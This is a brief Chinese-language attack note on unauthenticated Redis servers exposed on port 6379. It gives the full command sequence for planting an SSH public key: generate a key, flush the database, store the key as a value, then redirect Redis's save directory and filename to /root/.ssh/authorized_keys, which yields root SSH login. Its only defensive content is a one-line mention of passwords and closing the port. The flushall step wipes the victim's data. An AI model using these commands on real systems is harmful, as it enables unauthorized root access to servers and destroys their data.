redis攻击

redis 6379 如果对外 开放。。
如果 没设置密码

攻击步骤如下

cd /root
ssh-keygen -t rsa
echo -e "\n\n" > testx.pub 
#生成用于登录的公钥
cat /root/.ssh/id_rsa.pub >> testx.pub
echo -e "\n\n" >> testx.pub
#登录上去弄空redis数据库
./redis-cli -h xxx.xxx.xxx.xxx
flushall
#设置一个随便的公钥key
cat /root/testx.pub | ./redis-cli -h xxx.xx.xx.xxx -p 6379 -x set testx
# 最后一步 修改redis配置
config set dir /root/.ssh
config set dbfilename authorized_keys
#   保存
save

然后就能直接 ssh  登录  服务器了



预防措施有增加密码、关闭外网端口等